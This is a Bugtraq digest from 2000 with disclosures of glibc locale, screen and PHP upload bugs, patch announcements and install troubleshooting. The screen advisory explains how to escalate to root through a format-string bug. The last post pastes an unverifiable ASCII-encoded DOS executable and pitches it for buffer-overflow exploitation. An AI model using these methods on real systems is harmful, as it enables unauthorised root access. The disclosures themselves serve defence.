functions. Additional information ~~~~~~~~~~~~~~~~~~~~~~ This vulnerability was discovered by Ivan Arce of CORE SDI S.A., Buenos Aires, Argentina. PGP Keys ~~~~~~~~~ Ivan Arce ------BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP 6.0 mQGiBDb0OIARBADj6gZ8H9SMkVPCnQNcGhMy8E5cUQCxJV8nxPL2RVJEWmQQPXwG uMUXEgX8HzofqQbWC7XkZEi+zsVA1QZAuRLpz8C6Yd8/3SA+XZi/QwzYCjhMNFNR ZYjyWoCsOdoRAihL24La4r+XO3+F5CIJNjNPg5F6L2MfBPTsDJEoRYbiMwCg/0In Avk/eFy/C9NaqN1c0GeUyXkEAMoCMjBFTBFbCcfq1yOFjJLTnCTZNsInQfOF8vUc K8901ahX8vSSIiqh61yRW31OM0wyZ+FD4hR9wSzxwihKSDqsR0FKJhU/OUBvGyAM YnTDy3SEg+wBdiWbrSrJscNj4ER6i9LEnLtQEExOv5iSllNROoFTnKmLuuXjtPUT YlNIA/94D4ThfhXJzEDZeNzT7oKJ+RudxWjqUSiEt1/LJSrCVf8Tc4iBTYUmjfSx qpsT8oDZ/pfhmAPntMaX+hPlWsbOyRHTdwNrIxvtkZk3MP9mzdk8x4ThjYkMevzG wmXmIlzsjMACONCZcDV8qXmFKDiLOFkdKPqHYfHEsnxBkOCEU7QdSXZhbiBBcmNl IDxpdmFuQGNvcmUtc2RpLmNvbT6JAEsEEBECAAsFAjb0OIAECwMCAQAKCRAge+eO KtH2WolzAJ9eCov3JGlH5Oov+8TXw8PxwQOwMgCfQ1IcbGRYDeSKdQTythqRQNYW qwWJAEYEEBECAAYFAjcY52YACgkQDENy1gaccvyqVACgs9RnijfMmbLztT8qDhV1 WWv+0NwAn2UvqBcnebbQ2i5tlj2dnUxNuRFAtCJJdmFuIEFyY2UgPEl2YW5fQXJj ZUBjb3JlLXNkaS5jb20+iQBLBBARAgALBQI3cbFDBAsDAgEACgkQIHvnjirR9lpJ 6ACfV90/WHpdu4B4cuCeAZiNj/oLLhIAoMWEgPUSEZwr+jyfzPicYUOCZ2AcuQIN BDb0OIAQCAD2Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz 0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRP xfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvN ILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dD ox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMI PWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAICB/9iGiguxVbNJuFN9u0qsdO+DNFv EPullA+xpyedYVkRg7mcYEXpjMpDpazUC0uAUVCSbAQBBgwN762oricHkAkE6QIe jk7gpUV7TjWr6lKH92rPgPzcfDNh8m/YlORM6rxC6B6nMsu8zLQkV9kfYrjWBmKM Pn7G/goqvpdv0jcg/itXyTaTziebK/Z26bI7JGim6R9ZNcifRbMJ9D4jUr0AmUGc Tx7Olv5RmMXg6bPCBmYXHTkMXEYWxikoicO0IL9hWiTy36tbTADqxBb4kGtVGIKb IIX6p+w1CaG4jiuvSenNiTcHJ9qEGGTGJ5VqEfopzo2RakNj95gIdPB4oUCBiQBG BBgRAgAGBQI29DiAAAoJECB7544q0fZalPQAoK8k7mS7XhQj4Q7t8aRydyBHZdiF AJ9OBwCDicFejClIfXJr8+uP5zbl3A== =Vz9U -----END PGP PUBLIC KEY BLOCK----- Vulnerability Help Team at SecurityFocus.com -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGPfreeware 6.5.3 for non-commercial use mQENAzmdZdsAAAEIAMY6K6rr5xq7unmUYkdHDtme/XhesKrS4hXFZJAFT325Lsix RXf+Zej+Buyqg2yiTll5EqRyHIqB1RKMgIn5yQmHHNcV7z3sG/Go+LZ9/HLHxbi2 sL9Poew6BV1fM26DswjaTDOCJ2JVZMOZHYNoMpXKRtFw38ZfBn7Bd4L+F6ipOYSu 0Mdb3PYU7GeGG2kYLJa4lw5/5PoOC25Q2+VOQQzvxuzSvtJldM9MMam480LCSJK/ 8e51Bgh/Xo9axhu+lwV01sVQLkDbpJo1L3xT8vawvF3j41pD1+5/MZL9lKLEUyCZ 25vhfs2c83T1tvY6zanpd6scNFyUXXmlnNm+btUABRG0QlNlY3VyaXR5Rm9jdXMg VnVsbmVyYWJpbGl0eSBIZWxwIFRlYW0gPHZ1bG5oZWxwQHNlY3VyaXR5Zm9jdXMu Y29tPokBFQMFEDmdZdtdeaWc2b5u1QEBB2YH/3zDs7BxqhJgnzSQSG1H+hFFfVgN 3sVw6F8l4vVXHkFC5wABEHLhgwCb+YwM6GYW8FxSfqRS8IEtCinseVr7jNF8io3/ kbsYOY9VrLJo25TVMIElYL15wQ9PsPWMcs7/n3M0vnXSySqwSjVxKeKUm7CG3pBA EdzRKbWqlJl+EMmjKgPzQAKKMLyHTEeFmgTYVgiZTDo0GvnLHg43yDRNDRIzvweC /M+71sDh42ntNaC6kvH5oM5g9QVRO9lemaXCcsCfcA4v7lATV5YYKB3k/XTupjGp Fpu9ol3qmKMcUAe7Ki3L07VhbE+jIHb54mZYQQcTbFu7qnn30XvVO5e6ckQ= =XqTd -----END PGP PUBLIC KEY BLOCK----- Copyright Notice: ~~~~~~~~~~~~~~~~~ The contents of this advisory are copyright (c) 2000 CORE SDI S.A. and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. $Id: locale-notice-to-vendors.txt,v 1.3 2000/08/21 21:17:40 iarce Exp $ -- "Understanding. A cerebral secretion that enables one having it to know a house from a horse by the roof on the house, It's nature and laws have been exhaustively expounded by Locke, who rode a house, and Kant, who lived in a horse." - Ambrose Bierce ==================[ CORE Seguridad de la Informacion S.A. ]========= Iván Arce Presidente PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A email : iarce@core-sdi.com http://www.core-sdi.com Pte. Juan D. Peron 315 Piso 4 UF 17 1038 Capital Federal Buenos Aires, Argentina. Tel/Fax : +(54-11) 4331-5402 Casilla de Correos 877 (1000) Correo Central ===================================================================== --- For a personal reply use iarce@core-sdi.com --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 13:52:19 -0700 From: Alfred Huger Subject: Policy Addition to VulnHelp - Please read MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hey Folks, As most of you know several weeks ago I posted an announcement to the list about a new service BUGTRAQ would be offering called Vulnhelp. The post can be read at: http://www.securityfocus.com/archive/1/71918 If you rely on Bugtraq for information, post vulnerabilities to it or in general follow it please read the post as it will make the rest of this message more coherent for you. In short - we have decided to amend the current Vulnhelp posting policy to include the ability for people working with vendors to not lose credit for the discovery of vulnerabilities. The Vulnhelp service has been brought about to help users who discover bugs work with vendors to hopefully generate fixes before a bug is posted. To this end, any user who is working with Vulhelp and a vendor(s) will not have credit scooped from them on the list. We intend go about this in the following manner: Initial Contact - Advisory Drafting - Release Rules People who contact Vulnhelp should be doing so with something they have verified to be a bug. We will then work with them in addressing initial concerns of the advisory and coordinating the contacts involved. We will then draft an advisory which is for lack of a better term a 'living document' this advisory then sits in the Bugtraq queue waiting for approval and may from time to time be updated as vendor information becomes available. The advisory will be released under the following conditions: A. COORDINATED RELEASE This is the best case scenario where the vendor and user have worked to a succesful conclusion and the advisory will be able to include a vendor supplied fix or workaround. B. USER RELEASE This release is when for whatever reason the user has deemed the vendor to be uncooperative and has decided to post without vendor support. C. FORCED RELEASE This is the release type I alluded to above. This release is posted when and if the information becomes available elsewhere or where another user posts to BUGTRAQ with the same problem. Should this happen with a user posting to BUGTRAQ the party dealing with Vulnhelp will have their advisory posted at the same time as the others. Therefore, credit is not lost and the integrity of the process (concerning full disclosure) is not impinged upon. In the event of a forced release we will post a followup message explaining in detail why the release was forced. Should you desire more information on Vulnhelp, please mail us at vulnhelp@securityfocus.com . Our PGP Key is attached. -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGPfreeware 6.5.3 for non-commercial use mQENAzmdZdsAAAEIAMY6K6rr5xq7unmUYkdHDtme/XhesKrS4hXFZJAFT325Lsix RXf+Zej+Buyqg2yiTll5EqRyHIqB1RKMgIn5yQmHHNcV7z3sG/Go+LZ9/HLHxbi2 sL9Poew6BV1fM26DswjaTDOCJ2JVZMOZHYNoMpXKRtFw38ZfBn7Bd4L+F6ipOYSu 0Mdb3PYU7GeGG2kYLJa4lw5/5PoOC25Q2+VOQQzvxuzSvtJldM9MMam480LCSJK/ 8e51Bgh/Xo9axhu+lwV01sVQLkDbpJo1L3xT8vawvF3j41pD1+5/MZL9lKLEUyCZ 25vhfs2c83T1tvY6zanpd6scNFyUXXmlnNm+btUABRG0QlNlY3VyaXR5Rm9jdXMg VnVsbmVyYWJpbGl0eSBIZWxwIFRlYW0gPHZ1bG5oZWxwQHNlY3VyaXR5Zm9jdXMu Y29tPokBFQMFEDmdZdtdeaWc2b5u1QEBB2YH/3zDs7BxqhJgnzSQSG1H+hFFfVgN 3sVw6F8l4vVXHkFC5wABEHLhgwCb+YwM6GYW8FxSfqRS8IEtCinseVr7jNF8io3/ kbsYOY9VrLJo25TVMIElYL15wQ9PsPWMcs7/n3M0vnXSySqwSjVxKeKUm7CG3pBA EdzRKbWqlJl+EMmjKgPzQAKKMLyHTEeFmgTYVgiZTDo0GvnLHg43yDRNDRIzvweC /M+71sDh42ntNaC6kvH5oM5g9QVRO9lemaXCcsCfcA4v7lATV5YYKB3k/XTupjGp Fpu9ol3qmKMcUAe7Ki3L07VhbE+jIHb54mZYQQcTbFu7qnn30XvVO5e6ckQ= =XqTd -----END PGP PUBLIC KEY BLOCK----- Alfred Huger VP of Engineering SecurityFocus.com --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 17:34:03 -0400 From: Bob Manson Subject: Re: UNIX locale format string vulnerability MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I immediately grabbed the new rpms from update.redhat.com, followed the instructions and got: glibc ################################################## package zic not found in file index package ca_ES not found in file index package sl_SI not listed in file index package ca_ES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package sl_SI not listed in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package LC_MESSAGES not found in file index package Indianapolis not listed in file index package Indianapolis not listed in file index package Nicosia not listed in file index package Indianapolis not listed in file index package Indianapolis not listed in file index package Nicosia not listed in file index package Indianapolis not listed in file index package Indianapolis not listed in file index package Nicosia not listed in file index execution of glibc-devel-2.1.3-19 script failed, exit status 0 I am now well and truly screwed. I can run ls, but ls -l fails with a "Segmentation fault" as do many other commands, so I can't even look to see if I've got any zero length lib files. I am (I was) running: Red Hat Linux release 6.2 (Zoot) Kernel 2.2.16-3 on an i686 Any suggestions? thanks, bob --------------------------------------------------------------------- Bob Manson Phone (416)978-5898 Systems Administrator, ECF Fax (416)978-7320 University of Toronto email bob@ecf.utoronto.ca Toronto, Canada M5S 1A4 or bob@ecf.toronto.edu "It is preferable not to travel with a dead man." --- Henri Michaux --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Tue, 5 Sep 2000 01:28:01 +0300 From: =?latin1?Q?Jouko_Pynn=F6nen?= Subject: screen 3.9.5 root vulnerability MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=latin1 Content-Transfer-Encoding: QUOTED-PRINTABLE PROBLEM DESCRIPTION A vulnerability exists in the program "screen" version 3.9.5 and earlier. If screen is installed setuid root, a local user may gain root privilege. There are many systems where the program isn't setuid root by default, but on many systems (afaik at least SuSE Linux, Red Hat 5.2 and earlier, *BSD p= orts packages, Solaris, other commercial unices) it is, making them vulnerable. To quickly check if your version is vulnerable, have these two lines in ~/.screenrc: vbell on vbell_msg '%x' Set TERM to vt100, start screen and press ctrl-G (you may need to issue the command echo ^V^G to get a visual bell). If you see a hexadecimal number on the last line, your version of screen is vulnerable. However it can't be exploited unless the program is installed setuid root. BUG DETAILS The bug is located in screen.c in function serv_select_fn(): =2E.. else if (visual && !D_VB && (!D_status || !D_status_bell)) { D_status_delayed =3D -1; Msg(0, VisualBellString); if (D_status) { =2E.. Msg() feeds the second argument to sprintf() and since VisualBellString is user defineable, we have a classical format bug. From there, a malicious us= er can either do the old trick and write over a return address in stack, or fo= r instance, write over the real_uid variable where screen saves the user id. After zeroing this variable with the format string the user can just open a new window with a root shell in it. For this reason the bug is quite platform-independent; no shell code nor=20 executable stack is needed. The vulnerability has been tested on Linux, Int= el and ppc architectures. VULNERABLE SYSTEMS NetBSD, FreeBSD, OpenBSD (screen is a part of the ports collection) Red Hat Linux 5.2 and earlier, SuSE Linux, Solaris, many commercial unices NOT VULNERABLE Red Hat Linux 6.0 and later, most other Linux distributions WORKAROUND Removing the setuid bit from the binary makes it impossible to be exploited: chmod 111 /usr/local/bin/screen # or /usr/bin/screen BUT this may require some changes to the mode of screen's socket dir (usually /tmp/screens). Consult screen documentation for more info. SOLUTION Screen authors (and some OS vendors) have been informed and a new version of screen can be retrieved from=20 ftp://ftp.uni-erlangen.de/pub/utilities/screen/screen-3.9.8.tar.gz and diffs relative to version 3.9.5: ftp://ftp.uni-erlangen.de/pub/utilities/screen/screen-3.9.5-3.9.8.diff.gz Vendor patches for vulnerable systems have been released, or will be released shortly. CREDITS Vulnerability discovered by: Jouko Pynn=F6nen -- Jouko Pynn=F6nen Online Solutions Ltd Secure your Linux - jouko@solutions.fi http://www.secmod.com --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 20:02:47 -0400 From: Bob Manson Subject: mea culpa (mea culprit?) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 4 Sep 2000, Signal 11 wrote: > > "Redhat expressly disclaims any liability, dot... dot... dot..." :\ > Of course they do. I had two concerns when I posted. First, I wanted to let others know that there might be a problem. Well, Ok, first I thought "Man, I'm dead". Then I thought of the rest of you. Anyway, I just finished looking at things on the machine and it really was my fault. An earlier rpm install had hit libc-2.1.3.so so I temporarily grabbed another one and, to test it, named it libc-2.1.3.so.old and made a sym link from libc.so.6 to it. And then forgot about it. The machine was back up and I continued to work. When I did the glibc update, I guess the install got confused by stupidly linked file. I'm sorry for any anxious moments I may have caused the people at RedHat, and thank everyone again (from all over the world!) who replied with suggestions. Doesn't anyone sleep anymore? bob --------------------------------------------------------------------- Bob Manson Phone (416)978-5898 Systems Administrator, ECF Fax (416)978-7320 University of Toronto email bob@ecf.utoronto.ca Toronto, Canada M5S 1A4 or bob@ecf.toronto.edu --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 18:28:21 -0400 From: Rod Cordova Subject: Re: UNIX locale format string vulnerability MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Bob, You can use rpm to re-install the vanilla glibc rpms since rpm is a static binary. I was playing around with my libs as well one day and rendered the system rather useless. Provided you have network connectivity you should be able to do something to the extent of: rpm -i ftp://redhat.mirror/path/to/glibc/rpms Hope that helps. -Rod On Mon, 4 Sep 2000, Bob Manson wrote: > I immediately grabbed the new rpms from update.redhat.com, followed the > instructions and got: > > glibc > ################################################## > package zic not found in file index > package ca_ES not found in file index > package sl_SI not listed in file index > package ca_ES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package sl_SI not listed in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package LC_MESSAGES not found in file index > package Indianapolis not listed in file index > package Indianapolis not listed in file index > package Nicosia not listed in file index > package Indianapolis not listed in file index > package Indianapolis not listed in file index > package Nicosia not listed in file index > package Indianapolis not listed in file index > package Indianapolis not listed in file index > package Nicosia not listed in file index > execution of glibc-devel-2.1.3-19 script failed, exit status 0 > > I am now well and truly screwed. I can run ls, but ls -l fails with a > "Segmentation fault" as do many other commands, so I can't even look to > see if I've got any zero length lib files. > > I am (I was) running: > > Red Hat Linux release 6.2 (Zoot) > Kernel 2.2.16-3 on an i686 > > Any suggestions? > > thanks, > bob > > > --------------------------------------------------------------------- > Bob Manson Phone (416)978-5898 > Systems Administrator, ECF Fax (416)978-7320 > University of Toronto email bob@ecf.utoronto.ca > Toronto, Canada M5S 1A4 or bob@ecf.toronto.edu > > "It is preferable not to travel with a dead man." --- Henri Michaux > --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Tue, 5 Sep 2000 07:54:42 +0900 From: Steve Frampton Subject: Re: Serious vulnerability in glibc (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello: According to various posts on redhat-list, it seems that Red Hat's supplied upgrade to glibc to address the various security issues will *break* Java support on Red Hat-based systems. So if you're running Red Hat systems which require the JDK, it may be necessary to hold off on upgrading glibc, or (if possible) recompile your JDK under the new libraries. - --------------< LINUX: The choice of a GNU generation. >-------------- Steve Frampton interQ (Japan), Inc. Systems Administrator/Software Developer http://www.interq.or.jp/ GNU Privacy Guard ID: D055EBC5 (see http://www.gnupg.org for details) GNU-PG Fingerprint: EEFB F03D 29B6 07E8 AF73 EF6A 9A72 F1F5 D055 EBC5 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.1 (SunOS) Comment: For info see http://www.gnupg.org iD4DBQE5tCg0mnLx9dBV68URAihcAJdJeRI+TouVE6BJ31+IjQR+bg3+AJ45pyTa MGfaIl4IDLI/k4pxTI5AFg== =rKeP -----END PGP SIGNATURE----- --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 17:01:41 -0700 From: Tyler Subject: Re: UNIX locale format string vulnerability MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > I immediately grabbed the new rpms from update.redhat.com, followed the > instructions and got: > > glibc > ################################################## > package zic not found in file index > package ca_ES not found in file index [snip] i'm not sure if this is directly relevant to your problem or not, but it looks like the redhat RPMs that got released have some issues which i wanted to share with anyone else having problems. on several of my RH5.2 boxen, installing the new glibc caused tcsh to segfault all the time. there is a bugzilla entry on the tcsh problem at: http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=17187 there is a link there to some new packages which worked for me at: ftp://ultra.linux.cz/private/glibc/ the redhat 6.x packages appear to be fine. there is a note in the bugzilla logs that these new 5.x packages are supposed to be made public somtime "Monday morning." so hopefully they'll come through tomorrow (what with Labor Day and all...). tyler -- "Any setuid root program that does an exec() somewhere is just a less user friendly version of su. I have a wonderful proof of this claim, but unfortunately the margin is too small to hold it :-)" --Olaf Kirch, on bugtraq --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 17:01:53 -0700 From: debian-security-announce@LISTS.DEBIAN.ORG Subject: [SECURITY] glibc update for Debian GNU/Linux 2.1 -----BEGIN PGP SIGNED MESSAGE----- - ------------------------------------------------------------------------ Debian Security Advisory security@debian.org http://www.debian.org/security/ Wichert Akkerman September 5, 2000 - ------------------------------------------------------------------------ Package: glibc Vulnerability: local exploit Debian-specific: no Recently two problems have been found in the glibc suite, which could be used to trick setuid applications to run arbitrary code. An earlier advisory listed the updates for Debian 2.2/potato. This advisory contains updates for Debian 2.1/slink. For information about the found problems please see the previous advisory which is available online at http://www.debian.org/security/2000/20000902 . wget url will fetch the file for you dpkg -i file.deb will install the referenced file. Debian GNU/Linux 2.1 alias slink - ------------------------------------ Fixed packages are available for the Intel ia32 architecture. Source archives: http://security.debian.org/dists/slink/updates/source/glibc_2.0.7.19981211-6.2.diff.gz MD5 checksum: 4244c7f623db187881322b0949cc483a http://security.debian.org/dists/slink/updates/source/glibc_2.0.7.19981211-6.2.dsc MD5 checksum: 37eb9dc5ecd875e417aaba9ca6e1c25f http://security.debian.org/dists/slink/updates/source/glibc_2.0.7.19981211.orig.tar.gz MD5 checksum: 91724410e14a2b2b719dc44cf95067f1 Intel ia32 architecture: http://security.debian.org/dists/slink/updates/binary-i386/libc6-dbg_2.0.7.19981211-6.2_i386.deb MD5 checksum: 23f5aace9db7104163b2422d600d8869 http://security.debian.org/dists/slink/updates/binary-i386/libc6-dev_2.0.7.19981211-6.2_i386.deb MD5 checksum: 97deb2bb3eb914174a9bfecf3c3b5f69 http://security.debian.org/dists/slink/updates/binary-i386/libc6-pic_2.0.7.19981211-6.2_i386.deb MD5 checksum: ca1f18e5d61c4d5f268bc377e06e8cf5 http://security.debian.org/dists/slink/updates/binary-i386/libc6_2.0.7.19981211-6.2_i386.deb MD5 checksum: 13413f07247f28c2e8b35c1d2c4c9804 http://security.debian.org/dists/slink/updates/binary-i386/locales_2.0.7.19981211-6.2_i386.deb MD5 checksum: 1b9d14ad72186ab2a6e9a30990b0ed75 http://security.debian.org/dists/slink/updates/binary-i386/timezones_2.0.7.19981211-6.2_i386.deb MD5 checksum: c88a5c0ff9d429c0afa280b2dd244b45 - -- - ---------------------------------------------------------------------------- For apt-get: deb http://security.debian.org/ stable/updates main dpkg-ftp:ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQB1AwUBObQ3M6jZR/ntlUftAQFzRAL7BvCZbNga5mxrBeXq1aZy6iAweIh3ZWc6 BZQ2qHO/azy3Yfi2nfR4S/ND+rvlEfHlGIJRJeE/GhKzinU5t2ybgtl+TyPIy46b ighG08+q0fI6PE4ek74rr1n/ND4hdEww =U7oK -----END PGP SIGNATURE----- -- To UNSUBSCRIBE, email to debian-security-announce-request@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 01:39:14 -0500 From: Signal 11 Subject: Re: (SRADV00001) Arbitrary file disclosure through PHP file upload MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I have forwarded the original message to php-dev@lists.php.net, as there was no indication the developers were copied on the bugtraq post. This issue is Bug ID #6496 in the PHP bug database. Additional information is here: http://bugs.php.net/bugs.php?id=6496, and was entered 09/01/2000. However, the problem was discovered as early as May 15 by hgerlach@gmx.de Original post: http://www.php.net/manual/features.file-upload.php (about 2/3rds of the way down in the user comments) Also, my copy of PHP has track_vars enabled per default (as per the php4 that ships with Mandrake 7), which was one of the recommendations you made in your original post. Here's how you can reproduce this on your own. Create the following file as "test.php" on the http server running php:
Now, create a file on your LOCAL computer called test.html with the following contents:
Goto http://YOUR_SERVER_HERE/blah/blah/test.php and run the script, upload any file. Note the output. Now open test.html on your LOCAL computer and repeat the same steps you did when you were on the server. Hit submit. Note the change in output. Now, before you go off the deep end there is a simple one-line workaround... This will prevent most attacks, unless the filesize is the same as the local file. Like I said - workaround.. but it is one you can impliment in your code *now* instead of waiting for a patch. I'm hoping the PHP guys will update the bug 6496 with either a fix or an assignment soon... -- Signal 11 -o- BOFH, boredengineers.com Q: What's the difference between your project and putting wings on an elephant? A: The elephant *might* fly. --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 01:48:46 -0500 From: Signal 11 Subject: Netsend.nts - buffer overflows over 6 bit clean channels? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit This may be of interest to people who try to exploit buffer overflows but are limited to a 6 bit clean channel, or for its more mundane intended purpose for sending executable code over e-mail channels in a portable fashion. Very clever! Standard disclaimers apply. -- Signal 11 -o- BOFH, boredengineers.com "According to my calculations the problem doesn't exist." ========== NETSEND V1.00 SELF-EXTRACTING DOS PROGRAM =========== THE FOLLOWING text is an executable program. It does NOT require decoding. Please follow these three simple steps: 1 Use a DOS TEXT EDITOR to clip at the line below 2 Save the clipped portion as ANYNAME.COM 3 When you enter ANYNAME the program will create NETSEND.COM BEGIN .... REMOVE THIS LINE AND EVERYTHING ABOVE IT ............ XPPPYZIQD[L-f6-g41GDSXu'@,~P^P_O,!(GU(GZ(Gnu5-NETSEND_V1.00_JRT= CFFFRX,`,`2$F=@!t.rQ0%IuL0%(%(%GERYAARX2%(%t8-NETSEND.COM__03E70 1v1v0<0xD"1<0$G"P/0A0^F"12d"1TP)0B0z0z1^Q+0m1TQ-w"1+1S1#0B0zd"0] Q+0z0Y1_1o0Sh"0u0XP*d"0]P,0z0Y1_1uv"P-q"e"e"0S0.0>1kP-0&E"001S1. 0S130X1(K"100(100(100(0T16v"081/0$M"070S050T0-v"0/0C0T0"v"081/0$ M"070X17I"0XQ+L"0_N"0S050T0-v"0/0C0X1#L"1S0#1#0F19P*D"0z[T>D,f8]s/!!-CV"h/k>09H2!.$XG$b7_mfrh=".=-9H&+go_N9kn[g?!.$XRsb8PI^vAg?#_UU%1dPKtEUbFY=imm`i#8cOW%')=G+#J.b+c0L1a/( rX!$YVN"pKLnN17T!8!"3!SudeN?!e?G`<@PPaxp4`#+!!!!!!!!!"!1!!'?!!&Z !@onyZznM{+S!!!!d@!$Z2!$j0"#7v7e!YEI!!bWMNo'5IY9Z\Y?SVN<,@"nN:)1 uE+BC\y)*5v*C{4S!HC&s{cks>t`Et\)Y9Bo8sO6j1!pcS&Y!0eW0[L(+diI$D=t !k,4*lN4Ek&Bz&&EojdnPfN<,>"nNB'Oz^o[#0P[j1f[Ul9/!=BP-dMM+dIi/6g@ Z\om0[M-'u6*7bovO.oc"L5ESY%td^Q7!AAf?vj>j2#,dH%<#,YCq5!$6OuA!-4wllKK&EefD+s{vy1o%XNYVKY9N*W3-M/jt`:r:E #jp's{pE$1,\-aOWSm'?"/d`(%C3&f)V('R)-5=I4n,@i?.wSD4,8h@aOHSLYMVl >feFf;!i:h2!VP!!!Y8r,Ha_&#-AxdC%5I%@Td/74i2%#o['EuHM/uV`c@Sw7X&b *TevZK=p2dky>tM=9UNJvIa<2t4M>e0^w !e)I%E!)Piu[`(=4#rBUag-gL$!DfUYGuR#pXofj$i*rAI;e!B">zsJVGc4CL{Z' LjJuKfO?vW^Ly`"grU8X!?J3gM^RI%rA>,'Ke*4(IO&\f]!*!9T9emPy?{!!"10hF+ 